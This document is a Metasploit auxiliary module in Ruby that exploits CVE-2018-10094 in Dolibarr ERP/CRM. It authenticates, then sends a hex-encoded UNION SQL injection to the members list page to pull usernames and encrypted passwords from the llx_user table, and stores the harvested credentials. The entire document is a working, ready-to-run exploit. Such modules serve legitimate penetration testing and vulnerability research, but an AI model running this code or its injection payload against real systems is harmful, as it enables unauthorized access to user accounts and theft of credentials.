Dolibarr Gather Credentials via SQL Injection

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Dolibarr Gather Credentials via SQL Injection',  
'Description' => %q{  
This module enables an authenticated user to collect the usernames and  
encrypted passwords of other users in the Dolibarr ERP/CRM via SQL  
injection.  
},  
'Author' => [  
'Issam Rabhi', # PoC  
'Kevin Locati', # PoC  
'Shelby Pace', # Metasploit Module  
],  
'License' => MSF_LICENSE,  
'References' => [  
[ 'CVE', '2018-10094' ],  
[ 'EDB', '44805']  
],  
'DisclosureDate' => '2018-05-30'  
))  
  
register_options(  
[  
OptString.new('TARGETURI', [ true, 'The base path to Dolibarr', '/' ]),  
OptString.new('USERNAME', [ true, 'The username for authenticating to Dolibarr', 'admin' ]),  
OptString.new('PASSWORD', [ true, 'The password for authenticating to Dolibarr', 'admin' ])  
])  
end  
  
def check_availability  
login_page = target_uri.path.end_with?('index.php') ? normalize_uri(target_uri.path) : normalize_uri(target_uri.path, '/index.php')  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(login_page)  
)  
  
return false unless res && res.body.include?('Dolibarr')  
  
return res  
end  
  
def login(response)  
return false unless response  
  
login_uri = target_uri.path.end_with?('index.php') ? normalize_uri(target_uri.path) : normalize_uri(target_uri.path, '/index.php')  
cookies = response.get_cookies  
print_status("Logging in...")  
  
login_res = send_request_cgi(  
'method' => 'POST',  
'uri' => login_uri,  
'cookie' => cookies,  
'vars_post' => {  
'username' => datastore['USERNAME'],  
'password' => datastore['PASSWORD'],  
'loginfunction' => 'loginfunction'  
}  
)  
  
unless login_res && login_res.body.include?('id="mainmenua_members"')  
fail_with(Failure::NoAccess, "Couldn't log into Dolibarr")  
end  
  
print_good("Successfully logged into Dolibarr")  
return cookies  
end  
  
def get_info(cookies)  
inject_uri = target_uri.path.end_with?('index.php') ? target_uri.path.gsub('index.php', '') : target_uri.path  
inject_uri <<= "/adherents/list.php?leftmenu=members&statut="  
cmd = "1) union select 0,1,login,pass_crypted,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from llx_user #"  
cmd = Rex::Text.uri_encode(cmd, 'hex-all')  
inject_uri <<= cmd  
  
inject_res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(inject_uri),  
'cookie' => cookies  
)  
  
unless inject_res && inject_res.body.include?('id="searchFormList"')  
fail_with(Failure::NotFound, "Failed to access page. The user may not have permissions.")  
end  
  
print_good("Accessed credentials")  
format_results(inject_res.body)  
end  
  
def format_results(output)  
credentials = output.scan(/valignmiddle">0<\/div><\/a><\/td>.<td>([a-zA-Z0-9]*)<\/td>.<td>(\S*)<\/td>/m)  
  
fail_with(Failure::NotFound, "No credentials found") if credentials.empty?  
  
credentials.each do |i, j|  
print_good("#{j} #{i}")  
store_valid_credential(user: j, private: i)  
end  
end  
  
def run  
available_res = check_availability  
fail_with(Failure::NotFound, "Could not access the Dolibarr webpage") unless available_res  
  
cookies = login(available_res)  
fail_with(Failure::NoAccess, "Could not log in. Verify credentials") unless cookies  
  
get_info(cookies)  
end  
end  
`